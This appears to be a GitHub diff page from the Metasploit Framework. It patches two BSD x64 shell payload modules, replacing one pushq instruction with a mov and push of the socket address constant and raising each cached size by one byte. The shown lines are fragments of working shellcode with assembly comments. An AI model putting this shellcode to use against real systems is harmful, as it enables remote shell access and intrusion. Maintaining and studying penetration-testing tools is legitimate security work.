File tree Expand file tree Collapse file tree 2 files changed +6
-4
lines changed
modules/payloads/singles/bsd/x64 Expand file tree Collapse file tree 2 files changed +6
-4
lines changed Original file line number Diff line number Diff line change 10
10
11
11
module Metasploit3
12
12
13
- CachedSize = 89
13
+ CachedSize = 90
14
14
15
15
include Msf ::Payload ::Single
16
16
include Msf ::Payload ::Bsd
@@ -46,7 +46,8 @@ def initialize(info = {})
46
46
"\x52 " +# push %rdx #
47
47
"\x52 " +# push %rdx #
48
48
"\x52 " +# push %rdx #
49
- "\x68 \x00 \x1c \x11 \x5c " +# pushq $0x5c111c00 #
49
+ "\xba \x00 \x1c \x11 \x5C " +# mov edx,0x5c111c00 #
50
+ "\x52 " +# push %rdx #
50
51
"\x48 \x89 \xe6 " +# mov %rsp,%rsi #
51
52
"\x6a \x1c " +# pushq $0x1c #
52
53
"\x5a " +# pop %rdx #
Original file line number Diff line number Diff line change 10
10
11
11
module Metasploit3
12
12
13
- CachedSize = 87
13
+ CachedSize = 88
14
14
15
15
include Msf ::Payload ::Single
16
16
include Msf ::Payload ::Bsd
@@ -44,7 +44,8 @@ def initialize(info = {})
44
44
"\x0f \x05 " +# syscall #
45
45
"\x48 \x97 " +# xchg %rax,%rdi #
46
46
"\x52 " +# push %rdx #
47
- "\x68 \x00 \x02 \x11 \x5c " +# pushq $0x5c110200 #
47
+ "\xba \x00 \x02 \x11 \x5C " +# mov edx,0x5c110200 #
48
+ "\x52 " +# push %rdx #
48
49
"\x48 \x89 \xe6 " +# mov %rsp,%rsi #
49
50
"\x6a \x10 " +# pushq $0x10 #
50
51
"\x5a " +# pop %rdx #
You can’t perform that action at this time.
0 commit comments